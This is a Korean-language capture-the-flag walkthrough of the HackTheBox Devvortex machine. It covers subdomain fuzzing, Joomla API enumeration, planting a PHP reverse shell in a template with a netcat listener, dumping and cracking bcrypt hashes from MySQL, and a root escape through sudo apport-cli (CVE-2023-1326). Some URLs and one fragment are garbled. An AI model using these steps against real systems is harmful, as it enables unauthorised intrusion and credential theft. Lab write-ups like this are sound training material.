
HackTheBox Devvortex 워크스루: 서브도메인 퍼징, Joomla API 열거, 템플릿 기반 웹 셸, bcrypt 해시 크래킹, Apport-CLI CVE-2023-1326 권한 상승을 다룹니다.
HackTheBox의 Devvortex 머신을 장악하는 과정을 상세히 다룬 종합 기술 워크스루입니다. 이 경로는 초기 접근을 위한 서브도메인 퍼징, Joomla API 열거, 템플릿 수정, 측면 이동을 위한 데이터베이스 해시 추출 및 크래킹, 그리고 루트 권한 상승을 위한 Apport-CLI (CVE-2023-1326) 악용을 보여줍니다.
devvortex.htbdev.devvortex.htbapport-cli).전체 포트에 대해 초기 고속 TCP 포트 탐색을 수행했습니다:
nmap -Pn -n -p- --open --min-rate 5000 <TARGET_IP>
이후 식별된 열린 포트에 대해 서비스 및 버전 탐지 스캔을 실행했습니다:
Bash
nmap -sCV --min-rate 5000 -p22,80 <TARGET_IP>
로컬 호스트 이름 확인 테이블에 기본 대상 도메인을 추가합니다:
Bash
sudo nano /etc/hosts
# Append: <TARGET_IP> devvortex.htb
추가 웹 자산을 식별하기 위해 가상 호스트를 퍼징합니다:
Bash
ffuf -u [http://FUZZ.devvortex.htb](http://FUZZ.devvortex.htb) -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ
결과: dev.devvortex.htb를 발견했습니다. /etc/hosts에 dev.devvortex.htb를 추가했습니다.
새로 발견된 가상 호스트의 경로를 열거합니다:
Bash
ffuf -u [http://dev.devvortex.htb/FUZZ](http://dev.devvortex.htb/FUZZ) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt:FUZZ
결과: /administrator 엔드포인트를 발견했으며, Joomla 관리자 인증 포털이 노출되었습니다.
민감한 애플리케이션 지표와 사용자를 수집하기 위해 Joomla의 REST API가 노출한 공개 엔드포인트를 탐색합니다:
Bash
curl -s [http://dev.devvortex.htb/api/index.php/v1/users?public=true](http://dev.devvortex.htb/api/index.php/v1/users?public=true)
curl -s [http://dev.devvortex.htb/api/index.php/v1/application?public=true](http://dev.devvortex.htb/api/index.php/v1/application?public=true)
열거 과정에서 발견한 자격 증명을 사용하여 Joomla /administrator 포털에 로그인합니다:
System > Site Templates로 이동합니다.
활성 템플릿을 선택하고 error.php를 엽니다.
error.php의 내용을 표준 PHP 리버스 셸 페이로드로 교체합니다.
로컬 netcat 리스너를 초기화합니다:
Bash
nc -lvnp 4444
존재하지 않는 페이지를 요청하거나 파일에 직접 접근하여 error.php의 실행을 트리거합니다.
셸이 www-data로 연결되면 대화형 PTY 세션을 생성합니다:
Bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
웹 구성 파일에서 검색한 자격 증명을 사용하여 로컬 MySQL 데이터베이스에 접근합니다:
Bash
mysql -u lewis -p
사용자 테이블을 조회하여 저장된 자격 증명 해시를 찾습니다:
SQL
SHOW DATABASES;
USE joomla;
SHOW TABLES;
SELECT username, password FROM sd4fg_users;
사용자 logan의 bcrypt 비밀번호 해시를 로컬 파일로 추출합니다:
Bash
nano hash.txt
John the Ripper와 rockyou.txt를 함께 사용하여 해시를 크래킹합니다:
Bash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
크래킹된 자격 증명으로 사용자 logan으로 지속적인 SSH 세션을 설정합니다:
Bash
Bash
cat user.txt
logan 사용자에게 허용된 바이너리를 검사합니다:
Bash
sudo -l
출력: 사용자는 /usr/bin/apport-cli를 root로 실행할 수 있습니다.
설치된 apport-cli 버전을 확인합니다:
Bash
apport-cli --version
/var/crash에서 기존 보고서 파일을 검사합니다. 비어 있으면 크래시 파일을 수동으로 생성합니다:
Bash
echo "ProblemType: Crash" > /var/crash/.crash
sudo를 사용하여 생성한 크래시 파일에 대해 apport-cli를 실행합니다:
Bash
sudo /usr/bin/apport-cli -c /var/crash/.crash
v를 눌러 View report를 선택합니다.
페이지네이터(less)가 내용을 로드하면 다음을 입력하여 시스템 셸로 탈출합니다:
Plaintext
!/bin/bash
root 권한 상승을 확인합니다:
Bash
whoami
# Output: root
Bash
cat /root/root.txt